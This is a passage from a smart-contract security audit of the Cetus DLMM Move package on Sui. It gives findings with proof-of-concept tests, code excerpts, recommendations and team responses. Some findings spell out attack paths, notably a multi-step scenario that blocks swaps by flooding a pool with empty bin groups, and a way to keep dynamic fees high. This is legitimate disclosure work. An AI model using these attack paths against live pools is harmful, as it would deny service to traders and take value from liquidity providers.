        // Calculate offset for bin 0
        let (_, offset_in_group) = resolve_bin_position(bin_score(lower_bin_id));

        let bin_group = pool.add_group_if_absent(group_idx, &versioned);

        pool::open_position_on_bin(
           &mut position,
           &mut cert,
           bin_group,
           offset_in_group,
           amount_a,
```

```
            amount_b,
            &versioned
        );

        // 3. SKIP the second bin (bin 1)
        // Ensure the bin exists in the pool using test helper.
        // We need to use `mut_bin_manager` to get mutable access to bin manager
        // and then call `add_bin_if_absent`.
        let next_bin_id = i32::from(1);
        let bin_manager = pool::mut_bin_manager(&mut pool);
        cetusdlmm::bin::add_bin_if_absent(bin_manager, next_bin_id);

        // 4. Repay open position
        let (cert_amount_a, cert_amount_b) = cert.open_cert_amounts();

        let balance_a = balance::create_for_testing<A>(cert_amount_a);
        let balance_b = balance::create_for_testing<B>(cert_amount_b);

        // This succeeds because the fix is NOT in pool.move
        // It creates a corrupted position.
        pool.repay_open_position<A, B>(&mut position, cert, balance_a, balance_b,
&versioned);

        // 5. DEMONSTRATE THE BREAK: Try to remove full range liquidity
        // This should fail with a vector index out of bounds error because the
position thinks it has width=2
        // but the internal stats vector only has length=1.
        let (r_a, r_b) = pool.remove_full_range_liquidity_by_percent<A, B>(
            &mut position,
            1, // numerator
            1, // denominator (100%)
            &config,
            &versioned,
            &clk,
            ctx
        );
        r_a.destroy_for_testing();
        r_b.destroy_for_testing();

        sui::transfer::public_transfer(position, ctx.sender());
        cleanup(scenario, config, versioned, pool, clk);
    }
}
```

Output:

```
┌── test_repay_open_position_partial_fill_bug ──────
│ error[E11001]: test failure
│      ┌─ ./sources/pool.move:3664:24
│      │
│ 3587 │ fun remove_liquidity_by_percent_internal<CoinTypeA, CoinTypeB>(
│      │     ---------------------------------- In this function in
cetusdlmm::pool
│      .
│ 3664 │         let bin_stat = position_info.info_stats().borrow(index);
│      │                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Test was
not expected to error, but it gave a vector operation error with sub-status 1
originating in the module cetusdlmm::pool rooted here
│
│
│ stack trace
│       pool::remove_full_range_liquidity_by_percent(./sources/pool.move:1865-1876)
│
repay_poc::test_repay_open_position_partial_fill_bug(./tests/repay_poc.move:74-82)
│
└──────────────────
```

Recommendation

Recommend adding validation to avoid partial position opening.

Alleviation

[Cetus, 12/22/2025]: The team heeded the advice and resolved the issue by adding validation while repaying the open position in commit 2fba63d1dddbdd89cb9b59241af7d2f077544f6f.

CED-44 `expected_active_id` Consumed And Skip Following Operations In Loop

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (update-12-741b924): 2055	Resolved

Description

In `refresh_position_info_v2`, the `expected_active_id` parameter is intended to affect how amounts are calculated "based on the expected active ID" across *all* bins in the position's range.

However, inside the per-bin loop, the code checks `expected_active_id.is_some()` and then calls `expected_active_id.extract()` (cetus_dlmm/sources/pool.move:2054-2055). In Move, `Option::extract()` mutates the option to `None` after returning the inner value. As a result, the "expected active id" branch will run only once (the first time a bin exists and the branch is entered), and all subsequent bins will be valued using the fallback path that ignores `expected_active_id`.

This makes the returned `(amount_a, amount_b)` depend on which bin is encountered first (and whether early bins exist in the pool), producing inconsistent and likely incorrect results. Downstream protocols that rely on this function for accounting can be impacted. For example, `volatile_vault_v2` calls `pool::refresh_position_info_v2(..., option::some(expected_active_id), ...)` when computing DLMM position amounts for AUM (volatile_vault_v2/sources/market_dlmm.move:840). Incorrect position valuation can translate into incorrect AUM, which can misprice LP mint/burn calculations and create value transfer opportunities between depositors and existing LPs under realistic usage.

Proof of Concept

The following test is trying to demonstrate how option::extract work:

```
#[test_only]
module cetusdlmm::option_extract_tests;

use std::option;
use std::unit_test::assert_eq;

#[test]
fun test_extract_consumes() {
    let mut o = option::some(42u64);
    assert!(option::is_some(&o), 0);

    let v = option::extract(&mut o);
    assert_eq!(v, 42);

    // After extract, o becomes None
    assert!(option::is_none(&o), 0);
}
```

Recommendation

Recommend consider buffer the `expected_active_id` .

Alleviation

[Cetus, 12/22/2025]: The team heeded the advice and resolved the issue by avoiding the consumption of `expected_active_id` directly in commit 2fba63d1dddbdd89cb9b59241af7d2f077544f6f.

CED-45 Permissionless Empty Bin Groups Can Exhaust Sui'S Object-Runtime Cache And Block Swaps

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (081326-f317a94): 875~883	Acknowledged

Description

Description

`pool::add_group_if_absent` is public and only validates the supplied shared `Versioned` object:

```
public fun add_group_if_absent<CoinTypeA, CoinTypeB>(
    pool: &mut Pool<CoinTypeA, CoinTypeB>,
    group_index: u64,
    versioned: &Versioned,
): &mut BinGroupRef {
    versioned.check_version();
    pool.bin_manager.add_group_if_absent(group_index)
}
```

The function does not require a configuration permission, capability, position, `OpenPositionCert`, `AddLiquidityCert`, or proof that liquidity will be added. An attacker can therefore deploy a wrapper module and call the function against a canonical shared pool and `Versioned` object.

For every unused valid group index, the function inserts a `BinGroupRef` into the pool's dynamic-field-backed skip list. The new group has an empty `used_bins_mask`, but the transaction can still commit it permanently.

During bin discovery, `next_bin_score` and `prev_bin_score` inspect each skip-list node. An empty group contains no eligible bin, so traversal proceeds to the following node. This happens before the swap can process the next bin containing liquidity.

Sui enforces a hard limit on the number of child objects cached by the object runtime during a metered transaction. The applicable protocol configuration is:

```
object_runtime_max_num_cached_objects: Some(1000)
```

Once dynamic-field traversal reaches this limit, Sui raises `MEMORY_LIMIT_EXCEEDED` with the `OBJECT_RUNTIME_CACHE_LIMIT_EXCEEDED` sub-status. The failure is exposed at the transaction level as `MovePrimitiveRuntimeError`.

A Sui 1.74 localnet validation produced the following boundary:

- With 999 committed empty groups, traversal completed and reached the expected `ENotEnoughLiquidity` application abort.
- After the 1000th empty group was committed, the same operation failed inside `0x2::dynamic_field::borrow_child_object` with `MovePrimitiveRuntimeError`.
- The failing transaction used only `219,400,000` computation units out of a `1,000,000,000` gas budget, confirming that the failure was caused by the object-runtime cache limit rather than insufficient gas.

The exact number of groups required can vary because the cache limit counts all child-object lookups, including other dynamic fields and unsuccessful lookups. The security boundary is 1,000 cached child objects, not necessarily exactly 1,000 bin groups in every pool state.

Impact

An attacker can persistently deny swaps whose bin-search path crosses the attacker-created empty groups.

Affected swaps abort before reaching the next bin containing liquidity, regardless of the gas budget supplied by the user, because the object-runtime cache limit is a protocol-level hard limit.

The attacker's group-creation transactions have already committed, so an aborted swap does not revert or remove the malicious state. By inserting groups on both sides of the active bin, the attacker can potentially affect both swap directions.

The attack does not directly steal funds, but it can make liquidity in the affected pool unusable through the normal swap path. Recovery requires protocol operators to identify and remove the empty groups or deploy an upgrade. If unrestricted group creation remains available, the attacker can recreate the groups after cleanup.

The attacker must pay storage and transaction costs, but groups can be added over many individually valid transactions, with each transaction remaining below the per-transaction resource limit.

Scenario

1. The attacker deploys a Move module containing an entry function that calls the public `pool::add_group_if_absent`.
2. The attacker supplies the target shared `Pool` and the protocol's canonical shared `Versioned` object. No administrative permission or liquidity certificate is required.
3. Across multiple transactions, the attacker inserts unused valid group indices in the direction traversed by swaps. Each transaction creates only a small batch, allowing it to execute successfully and commit its state.
4. Every inserted `BinGroupRef` has an empty `used_bins_mask`, but remains linked into the pool's skip list.
5. An honest user submits a swap whose search path must cross the poisoned region before reaching the next used bin.
6. The swap calls `next_bin_score` or `prev_bin_score`. Each empty node is dynamically loaded, inspected, and skipped.
7. Once the transaction has cached 1,000 child objects, Sui raises `OBJECT_RUNTIME_CACHE_LIMIT_EXCEEDED`. The swap aborts before reaching the liquidity-bearing bin.

8. The attacker-created groups remain in storage because they were committed by earlier transactions. Increasing the swap's gas budget does not bypass the limit.

Recommendation

Recommend make `add_group_if_absent` package-private and adding access controll if a similar functionality needed.

Alleviation

[Cetus, 08/19/2026]: Permissionless BinGroup creation is required by `open_position_on_bin` and `add_liquidity_on_bin`. Bin access exhibits strong working-set and spatial locality: stablecoin pools primarily operate around the parity-price region, while volatile pools concentrate around the current active price. BinGroups outside the active trading region are not accessed during normal swaps and therefore do not enter the swap execution working set. We acknowledge and accept the residual state-growth risk.

CED-46 | Liquidity Updates Can Postpone Dynamic Fee Decay

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/parameters.move (081326-f317a94): 137~138	Resolved

Description

A transaction sender who owns a position in the target shared pool can call `add_liquidity`, repay the returned certificate with the exact required `Balance<CoinTypeA>` and `Balance<CoinTypeB>`, and then remove liquidity. This path requires add and remove operations to be enabled and unrestricted for the sender and position. The pool must use a bin configuration with `variable_fee_control > 0` and `filter_period > 0`, and its volatility state must already be elevated. No pool-manager or governance capability is required.

When the addition includes a nonzero amount at the active bin, `add_liquidity` invokes `update_volatility_parameter` even though the operation does not move the active ID:

```
// cetusdlmm::pool::add_liquidity(...) — packages/cetus_dlmm/sources/pool.move:1597

if (bin_id.eq(cert.active_id) && (amounts_a[idx] > 0 || amounts_b[idx] > 0)) {
    let fee_rate = {
        let current_timestamp = clk.timestamp_ms() / 1000;
        pool.v_parameters.update_volatility_parameter(bin_id, current_timestamp);
        calculate_total_fee_rate(&pool.v_parameters,
pool.base_fee_rate).total_fee_rate
    };
    cert.active_id_included = true;
    cert.fee_rate = fee_rate;
};
```

`update_references` applies reduction or reset only when the elapsed time reaches the filter period. It nevertheless writes `last_update_timestamp` on every call. Repeating the liquidity update before the filter period expires therefore keeps elapsed time below the decay branch while preserving the elevated reference and accumulator:

```
// cetusdlmm::parameters::update_references(...) —
packages/cetus_dlmm/sources/parameters.move:118

assert!(current_timestamp >= self.last_update_timestamp, EInvalidTimestamp);
let elapsed = current_timestamp - self.last_update_timestamp;
// Not high frequency trade
if (elapsed >= self.bin_step_config.filter_period() as u64) {
    // Update active id of last transaction
    self.index_reference = active_id;
    // filter period <= t < decay_period. Decay time window.
    if (elapsed < self.bin_step_config.decay_period() as u64) {
        let volatility_reference = full_math_u64::mul_div_floor(
            self.volatility_accumulator as u64,
            self.bin_step_config.reduction_factor() as u64,
            constants::basis_point!(),
        );
        assert!(volatility_reference < std::u32::max_value!() as u64,
EU32DowncastOverflow);
        self.volatility_reference = volatility_reference as u32;
    } else {
        self.volatility_reference = 0;
    }
};
self.last_update_timestamp = current_timestamp;
```

The certificate checks and exact-balance assertions do not block the state transition. A successful repayment clears the position's pending-add state and decrements `active_open_positions`, after which the owner can call the normal removal path; removal does not restore the previous timestamp:

```
// cetusdlmm::pool::repay_add_liquidity(...) —
packages/cetus_dlmm/sources/pool.move:1750

assert!(object::id(position) == position_id, EPositionNotMatch);
assert!(
    object::id(pool) == position.pool_id()&& position.pool_id() == pool_id,
    EPositionPoolNotMatch,
);

position.clear_pending_add();
pool.active_open_positions = pool.active_open_positions - 1;
pool.position_manager.restore_position_info(position_id, position_info);

assert!(balance_a.value() == total_amount_a, EInvalidRepayAmount);
assert!(balance_b.value() == total_amount_b, EInvalidRepayAmount);
pool.balance_a.join(balance_a);
pool.balance_b.join(balance_b);
```

The next swap calls `update_references` with the refreshed timestamp before calculating the variable fee for each traversed bin. If the liquidity updates have kept elapsed time below the filter period, the swap continues from the elevated volatility state:

```
// cetusdlmm::pool::swap_in_pool(...) — packages/cetus_dlmm/sources/pool.move:3359

assert!(ref_fee_rate <= constants::fee_precision!(), EInvalidRefFeeRate);
let current_timestamp = clk.timestamp_ms() / 1000;
pool.v_parameters.update_references(pool.active_id, current_timestamp);

let mut opt_next_bin_score = pool.bin_manager.first_score_for_swap(pool.active_id,
a2b);
let mut remaining_amount = amount;
let mut swap_result = default_swap_result();
let protocol_fee_rate = pool.v_parameters.protocol_fee_rate();
let mut protocol_fee = 0;
while (remaining_amount > 0) {
    assert!(opt_next_bin_score.is_some(), ENotEnoughLiquidity);

    let next_bin =
pool.bin_manager.borrow_bin_by_score(opt_next_bin_score.borrow());
    pool.v_parameters.update_volatility_accumulator(next_bin.id());
    pool.active_id = next_bin.id();
    let fee_rate = pool.get_total_fee_rate();
```

As a result, sustained reversible active-bin liquidity operations can keep the pool's variable fee above the value that a quiet market interval should produce. All subsequent swap users in the affected pool pay the elevated fee until the cadence stops long enough for decay, and an LP performing the updates may share in the additional LP fees charged to traders.

Recommendation

Separate market activity time from decay-application time. Active-bin liquidity operations may apply decay needed to price composition fees, but only a swap or another explicitly defined price-discovery transition should refresh `last_market_activity_timestamp`. Track `last_decay_applied_timestamp` independently so repeated liquidity calls neither postpone nor multiply decay. Because adding fields to the current inline `VariableParameters` layout is not a compatible object-layout change, introduce a versioned dynamic-field extension on each shared pool or migrate to a new pool state type. Initialize both clocks from the old `last_update_timestamp` under a documented one-time migration and preserve fee continuity. Verify that any add/repay/remove sequence with unchanged active ID produces the same next-swap fee as no liquidity operation, including filter boundaries, disabled variable fees, `filter_period == 0`, paused operations, and migrated pools.

Alleviation

[Cetus, 08/20/2026]: This team has resolved this issue by calculating active-bin fees on a copy of `VariableParameters`, ensuring that liquidity operations no longer update the pool's `last_update_timestamp` and only swaps persist volatility and market-activity updates in commit e43f85791b90c54c54d3d494f2c225f6df85d2c3.

CED-47 | Zero-Amount Liquidity Entries Persist Empty Bin Groups

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (081326-f317a94): 1104 ~1105, 1533~1534	Acknowledged

Description

`open_position` allows an ordinary transaction sender to create an owned `Position`, while `add_liquidity` allows a sender who can provide a mutable owned `Position` to extend it. Both functions mutate a shared `Pool` and require an accepted `GlobalConfig`, `Versioned`, and system `Clock`, valid bins and group prices, and an enabled, unrestricted add operation. Creating new state requires an absent group. For `open_position`, the batch must include a zero-only absent group and another bin that consumes a nonzero amount. For `add_liquidity`, an all-zero batch can recreate a group removed after its last active bin was withdrawn. Neither path requires an admin or pool-manager capability. This validation covers the workspace version 10 source; `Published.toml` still records mainnet version 9, so deployment equivalence is not established by the repository.

However, `add_liquidity` materializes the first group before processing any batch element and materializes each subsequent group before passing that element's amounts to `add_liquidity_on_bin`:

```
// cetusdlmm::pool::add_liquidity(...) — packages/cetus_dlmm/sources/pool.move:1584

let (mut group_idx, _) = resolve_bin_position(bin_score(min_bin_id));
let mut bin_group = pool.bin_manager.add_group_if_absent(group_idx);
while (idx < bins.length()) {
    let bin_id = i32::from_u32(bins[idx]);
    assert!(
        bin_id.gte(position.lower_bin_id()) && bin_id.lte(position.upper_bin_id()),
        EBinIdOutOfPositionRange,
    );
    let (cur_group_idx, cur_offset_in_group) =
resolve_bin_position(bin_score(bin_id));
    if (cur_group_idx != group_idx) {
        group_idx = cur_group_idx;
        bin_group = pool.bin_manager.add_group_if_absent(group_idx);
    };
```

The downstream function then returns without creating a bin or increasing the certificate totals when both amounts are zero. The group created by the caller remains in `BinManager`:

```
// cetusdlmm::pool::add_liquidity_on_bin(...) –
packages/cetus_dlmm/sources/pool.move:1453

versioned.check_version();
assert!(cert.position_id == object::id(position), EPositionNotMatch);
assert!(bin_group_ref.pool_id() == cert.pool_id, EBinGroupRefNotMatch);
if (amount_a == 0 && amount_b == 0) {
    return
};
let bin =
bin_group_ref.borrow_bin_group_mut().add_bin_in_group_if_absent(offset_in_group);
```

`open_position` uses the same group-first ordering. For a zero-amount pair, `bin::increase_liquidity` returns zero, `position::add_liquidity` records a zero share, and the handler clears only the bin's used bit, leaving the group allocated. Its batch-wide nonempty check passes when another bin consumes tokens. `repay_add_liquidity` has no nonzero-total check and accepts balances equal to the zero certificate totals. The ownership, object-ID, restriction, version, and hot-potato checks therefore all pass, and atomic rollback does not apply to the successful transaction. Zero entries add no pool balance, protocol fee, bin liquidity, or LP share.

```
// cetusdlmm::bin::add_group_if_absent(...) –
packages/cetus_dlmm/sources/bin.move:736

let group = BinGroup {
    idx: group_index as u32,
    used_bins_mask: 0,
    bins: group_bins,
};
let group_ref = BinGroupRef {
    pool_id: bin_manager.pool_id,
    group,
};
bin_manager.bins.insert(group_index as u64, group_ref);
```

```
// cetusdlmm::pool::repay_add_liquidity(...) –
packages/cetus_dlmm/sources/pool.move:1756

position.clear_pending_add();
pool.active_open_positions = pool.active_open_positions - 1;
pool.position_manager.restore_position_info(position_id, position_info);

assert!(balance_a.value() == total_amount_a, EInvalidRepayAmount);
assert!(balance_b.value() == total_amount_b, EInvalidRepayAmount);
pool.balance_a.join(balance_a);
pool.balance_b.join(balance_b);
```

The resulting `used_bins_mask == 0` group persists as a dynamic-field node in `SkipList<BinGroupRef>`; the locked `MoveSTL` implementation uses `sui::dynamic_field::add`. Swap searches and bin enumeration load and skip these

nodes until they find a used bin. A pool manager can remove them through `remove_empty_bin_group`, but this maintenance path does not prevent recreation.

```
// cetusdlmm::bin::next_bin_score(...) – packages/cetus_dlmm/sources/bin.move:338

public(package) fun next_bin_score(manager: &BinManager, score: u64, include: bool):
OptionU64 {
    let (origin_group_index, offset_in_group) = resolve_bin_position(score);
    let mut op_group_index = manager.bins.find_next(origin_group_index, true);
    while (op_group_index.is_some()) {
        let group_index = op_group_index.borrow();
        let node = manager.bins.borrow_node(group_index);
        let group = node.borrow_value().borrow_bin_group();
        let include_ = (group_index != origin_group_index) || include;
        let offset_in_group_ = if (group_index == origin_group_index) {
            offset_in_group
        } else {
            0
        };
        let next_score = group.next_score_in_group(offset_in_group_, include_);
        if (next_score.is_some()) {
            return next_score
        };
        op_group_index = node.next_score();
    };
```

As a result, a transaction sender can expand a shared pool's persistent bin index with groups that are not backed by token balances or LP shares. Traders, liquidity providers, and integrations that traverse the affected index incur the resulting storage and lookup overhead until a pool manager removes the empty groups; repeated use grows shared state and degrades the availability of swap and bin-enumeration paths as their traversal cost increases.

Recommendation

Refactor `open_position` and `add_liquidity` so zero-amount entries cannot persist groups. Reject an all-zero add before marking the position pending, and skip `(0, 0)` entries before group materialization. For `open_position`, create the required zero-share position metadata without persisting a group, or remove newly created groups during repayment when their used mask remains zero. Retain a group only after a bin receives nonzero liquidity. Restrict the raw public `pool::add_group_if_absent` writer separately, because either path can recreate the state.

Alleviation

[Cetus, 08/19/2026]: Permissionless, on-demand BinGroup creation is an intentional requirement of the per-bin position and liquidity APIs. Due to the working-set locality of bin access, empty or out-of-range BinGroups are not accessed by swaps outside their corresponding price region. We acknowledge the reported behavior and accept the residual risk without changing the current implementation.

CED-48 | Rounded Pro-Rata Comparisons Can Skip Composition Fees

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/bin.move (081326-f317a94): 1190~1191, 1233~1234, 1256~1257	Acknowledged

Description

An ordinary transaction sender can reach the fee calculation through `open_position`, and a sender who can provide a mutable owned `Position` can reach it through `add_liquidity`. The path requires an existing active bin with nonzero liquidity, a positive total fee rate, nonzero amounts at the active bin, valid `GlobalConfig`, `Versioned`, and `Clock` objects, and an enabled, unrestricted add operation. No admin or pool-manager capability is required. This validation covers the workspace version 10 source; `Published.toml` still records mainnet version 9, so deployment equivalence is not established by the repository.

However, `get_composition_fees` first floor-rounds the liquidity share represented by the addition and then floor-rounds both pro-rata token amounts:

```
// cetusdlmm::bin::get_composition_fees(...) —
packages/cetus_dlmm/sources/bin.move:1245

let delta_liquidity = calculate_liquidity_by_amounts(amount_a, amount_b, bin.price);
let bin_liquidity = calculate_liquidity_by_amounts(
    bin.amount_a(),
    bin.amount_b(),
    bin.price,
);
let delta_liquidity_share = full_math_u128::mul_div_floor(
    bin.liquidity_share(),
    delta_liquidity,
    bin_liquidity,
);
let (amount_a_out, amount_b_out) = calculate_amounts_by_liquidity(
    bin.amount_a() + amount_a,
    bin.amount_b() + amount_b,
    delta_liquidity_share,
    bin.liquidity_share() + delta_liquidity_share,
);
```

It then selects the excess token only when one rounded output is strictly greater than the supplied amount and the other is strictly smaller. If the exact pro-rata result is slightly greater on one side but floor-rounding reduces it to equality, the first condition is false; the opposite branch is also false because its output is smaller, not greater. Both fees remain zero even though the addition changes the active bin's reserve ratio. The same boundary exists in the opposite token direction:

```
// cetusdlmm::bin::get_composition_fees(...) –
packages/cetus_dlmm/sources/bin.move:1262

let mut fee_a = 0;
let mut fee_b = 0;
if (amount_a_out > amount_a && amount_b > amount_b_out) {
    fee_b = calculate_composition_fee(amount_b - amount_b_out, fee_rate);
} else if (amount_b_out > amount_b && amount_a > amount_a_out) {
    fee_a = calculate_composition_fee(amount_a - amount_a_out, fee_rate);
};
(fee_a, fee_b)
```

The returned values determine both the LP fee-growth update and the protocol share. When the branch returns zero, `calculate_composition_fee` and its ceiling rounding are never reached, `accumulate_fee` receives zero, and no protocol fee is derived:

```
// cetusdlmm::bin::apply_active_bin_composition_fees(...) –
packages/cetus_dlmm/sources/bin.move:1203

let (fee_a, fee_b) = bin.get_composition_fees(
    amount_a,
    amount_b,
    fee_rate,
);
let protocol_fee_a = calculate_fee_inclusive(
    fee_a,
    protocol_fee_rate,
);
let protocol_fee_b = calculate_fee_inclusive(
    fee_b,
    protocol_fee_rate,
);
bin.accumulate_fee(fee_a - protocol_fee_a, fee_b - protocol_fee_b);
(fee_a, fee_b, protocol_fee_a, protocol_fee_b)
```

The pool consequently deducts no composition fee before adding the full amounts and minting liquidity shares. The certificate records zero fee and protocol-fee values, and the exact `Balance<CoinTypeA>` and `Balance<CoinTypeB>` repayment checks accept the resulting totals. Object-ID, ownership, active-bin, arithmetic, and permission checks can all pass, so the transaction commits and atomic rollback does not restore the omitted fee:

```
// cetusdlmm::pool::add_liquidity_on_bin(...) —
packages/cetus_dlmm/sources/pool.move:1470

let (fee_a, fee_b, protocol_fee_a, protocol_fee_b) =
bin.apply_active_bin_composition_fees(
    amount_a,
    amount_b,
    cert.fee_rate,
    cert.protocol_fee_rate,
);

cert.protocol_fee_a = protocol_fee_a;
cert.protocol_fee_b = protocol_fee_b;
cert.fee_a = fee_a;
cert.fee_b = fee_b;
amount_a = amount_a - cert.fee_a;
amount_b = amount_b - cert.fee_b;
};
let (remaining_amount_a, remaining_amount_b, liquidity_share) =
bin.increase_liquidity(
    amount_a,
    amount_b,
    cert.active_id,
);
```

As a result, existing active-bin liquidity providers receive less composition-fee revenue, as does the protocol when its fee share is nonzero, while the adding user retains the uncharged value in the deposited liquidity and receives position shares against it. Repeated boundary additions can accumulate the undercollection and make the charged fee depend on how liquidity is partitioned across transactions.

Recommendation

Determine imbalance using a safe cross product before rounding (`amount_a * bin.amount_b()` vs `amount_b * bin.amount_a()`), treat equality as no-fee, and keep strict `>` / `<` branch selection. Use wide-cast arithmetic (e.g., `u128`) for the multiply and use the excess side to compute fee with existing rounding before `calculate_composition_fee`.

Apply to both token directions and both open/add paths. If only arithmetic changes, no object migration is needed; historical undercollection is not fully recoverable. Validate with boundary one-unit cases, one-sided reserves, price/fee-rate variants, max amounts, first liquidity-in-empty-bin, and one-shot vs split additions.

Alleviation

[Cetus, 08/19/2026]: This behavior occurs at integer-rounding boundaries in the proportional liquidity comparison. We acknowledge the possibility of composition-fee omission in such boundary cases and accept it as a known precision trade-off of the current implementation.

CED-01 | Reward Distributed Does Not Consider Crossed-Bins Swaps

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/reward.move (init-57ba7dc): 1823~1825	Acknowledged

Description

In the DLMM pool, rewards are intended to accumulate to bins based on emission schedules and time elapsed. Settlement is invoked before liquidity ops and some position updates.

However, during swap operations that cross multiple bins, only the active bin gets the rewards, since `reward_settle` is called only once before the swap loop begins. And the last bin will be rewarded for the next liquidity operation.

As a result, bins in the middle will not get any reward, although their liquidity is also being activated during the swap, which raises the concern about unfair reward distributions.

Recommendation

We would like to check with the team if the scenario has been considered.

Alleviation

[Cetus, 08/26/2025]: The mining rewards in DLMM are designed to incentivize the most effective liquidity, and the allocation follows a strictly time-based mechanism.

At any given time **t**, the rewards accrued up to that moment are deterministic and fully distributed, independent of user actions.

If rewards were instead allocated based on the bins actually used during swaps, the system would lose determinism:

- Distribution would depend on unpredictable future swap paths.
- From **t1** to **t2**, if no actions occur, reward accrual should still be finalized. However, under usage-based allocation, settlement would depend on the next swap, making rewards between **t1** and **t2** uncertain and contingent on which bins are crossed later.

For these reasons, we adopt a time-based distribution model. This ensures **fairness, predictability, and consistent accounting** of mining rewards, avoiding dependencies on uncertain future events.

CED-02 | Incorrect Boundary Check In `push_back()` Function

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/position.move (init-57ba7dc): 188	Resolved

Description

The `push_back()` function appends a new bin statistic to the `arg` bin statistic. Before doing so, it checks whether the current number of bin stats does not exceed the maximum allowed:

```
    assert!(arg.bin_stats.length() <= constants::max_bin_per_position() as u64, EPositionBinLengthMismatch);
    arg.liquidity_shares.push_back(bin_stat.liquidity_share);
    arg.bin_stats.push_back(bin_stat);
```

However, the `<=` check is incorrect. If the length of `arg.bin_stats` is **equal to** `max_bin_per_position()`, then pushing another element will exceed the limit, leading to a logic error and overflow.

Recommendation

To ensure correctness, the check should be strictly `<`:

```
    assert!(arg.bin_stats.length() < constants::max_bin_per_position() as u64, EPositionBinLengthMismatch);
```

Alleviation

[Cetus, 08/27/2025]: The team heeded the advice and resolved the issue in commit efdb6375f1e3192e30f2c3ac705929bfb1bfa8ee.

CED-03 | Missing Check Of The Overflow

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/bin.move (init-57ba7dc): 230~231; packages/cetus_dlmm/sources/reward.move (init-57ba7dc): 353~354, 386~387; packages/cetus_dlmm/sources/dlmm_math.move (update-2-f442ca0): 372~373; packages/cetus_dlmm/sources/position.move (update-2-f442ca0): 1163~1164, 1211~1212	Resolved

Description

The `increase_liquidity()` function calls `calculate_liquidity_by_amounts()` to calculate the liquidity shares based on the provided token amounts. It also checks whether the returned result is less than `std::u128::max_value!()` to prevent overflow:

```
assert!(liquidity < std::u128::max_value!() as u256, ELiquidityOverflow);
```

However, `increase_liquidity()` itself does **not** validate whether adding this result to the current total liquidity supply would cause an overflow.

The same issue also exists in the `rollover_refunds_into_remaining_time()` and `refund_rewards()` functions. While the function checks that `reward_refunded` is less than `std::u128::max_value!()`, it does **not** validate whether adding `accumulated_rewards` to `reward_refunded` would cause an overflow.

The `calculate_amount_by_growth()` function is invoked during fee and reward updates. Its purpose is to compute an intermediate value rather than the final result. However, this intermediate calculation can lead to an overflow when added to the accumulated fee or reward, causing the transaction to abort without a predefined error message:

```
fun update_fee_per_bin(
    bin_stat: &mut BinStat,
    fee_a_growth_global: u128,
    fee_b_growth_global: u128,
    fee_a_owned: &mut u64,
    fee_b_owned: &mut u64,
) {
    let fee_a = calculate_amount_by_growth(
        math_u128::wrapping_sub(fee_a_growth_global, bin_stat.fee_a_growth),
        bin_stat.liquidity_share,
    );
    let fee_b = calculate_amount_by_growth(
        math_u128::wrapping_sub(fee_b_growth_global, bin_stat.fee_b_growth),
        bin_stat.liquidity_share,
    );
    bin_stat.fee_a_growth = fee_a_growth_global;
    bin_stat.fee_b_growth = fee_b_growth_global;
    *fee_a_owned = *fee_a_owned + (fee_a as u64);
    *fee_b_owned = *fee_b_owned + (fee_b as u64);
}
```

The same problem also affects `update_reward_per_bin()`, which similarly calls `calculate_amount_by_growth()` without ensuring that the resulting addition does not overflow.

Recommendation

It is recommended to add an overflow check before performing the add operation.

Alleviation

[Cetus, 08/27/2025]: The team heeded the advice and partially resolved the issue by adding overflow checks in commit efdb6375f1e3192e30f2c3ac705929bfb1bfa8ee.

[Cetus, 09/18/2025]: `reward.reward_refunded` is checked in both of the functions `rollover_refunds_into_remaining_time` and `refund_rewards`.

In `rollover_refunds_into_remaining_time`:

```
356         assert!(
357             reward.reward_refunded + (accumulated_rewards[idx] as u256) < std::
u128::max_value!() as u256,
358             ERewardRefundedOverflow,
359         );
```

In `refund_rewards`:

```
392         assert!(
393             reward.reward_refunded + (accumulated_rewards[idx] as u256) < std::
u256::max_value!(),
394             ERewardRefundedOverflow,
395         );
```

While the check in `rollover_refunds_into_remaining_time` is no longer explicitly needed, as `reward.reward_refunded` is no longer updated in the function, there is an inconsistency between the checks in two functions. We would like to check with the team to ensure the intended behavior.

Moreover, in Move, `+` aborts on overflow. The expression `reward.reward_refunded + (accumulated_rewards[idx] as u256)` is evaluated before the `<` comparison, so if it would overflow, the VM aborts with an arithmetic error before `assert!` can raise `ERewardRefundedOverflow`.

[Cetus, 09/19/2025]: Checks in these two functions have been removed in commit f4b61d95047e1edbb507e9027cabf6037094c77d.

[CertiK, 09/19/2025]: If there is no check to ensure `reward.reward_refunded` is not greater than `std::u128::max_value!()`, the refunded rewards might be locked in the smart contract when `reward.reward_refunded > std::u128::max_value!()` because `emergency_withdraw_refund_reward` requires `reward_refund / (1u256 << scale_offset()) <= std::u64::max_value!()`:

```
public(package) fun emergency_withdraw_refund_reward<RewardType>(
    manager: &mut RewardManager,
): Balance<RewardType> {
    ...
    let amount = reward_refund  / (1u256 << scale_offset());
    assert!(amount <= std::u64::max_value!() as u256, ERewardAmountOverflow);
    ...
}
```

Therefore, adding a check in `refund_rewards` is necessary.

[Cetus, 09/22/2025]: The `reward_refunded` field has been changed from `u256` to `u128` in commit fc18ab31157fe9dbd02028b2943b4521f80be72f.

[CertiK, 09/22/2025]: The finding has been marked as resolved.

However, as `reward.reward_refunded` has been changed from `u256` to `u128`, some of the checks (such as `reward.reward_refunded + accumulated_rewards[idx] <= std::u128::max_value!()` and `reward_refund / (1u128 << scale_offset()) <= std::u64::max_value!() as u128`) might no longer be needed unless certain error messages are needed. The unnecessary checks can be removed and will not affect the security of the project.

If the error message `ERewardRefundedOverflow` is preferred in `refund_rewards`, the check can be implemented in the way of `std::u128::max_value() - reward.reward_refunded >= accumulated_rewards[idx]` to avoid triggering the overflow protection in Move.

[Cetus, 09/22/2025]: The checks have been updated in commit c908159a81f37031bfd53bb7fa0aa355f48fc410.

CED-06 | Inconsistency Between `SwapEvent` Values And Comments

Category	Severity	Location	Status
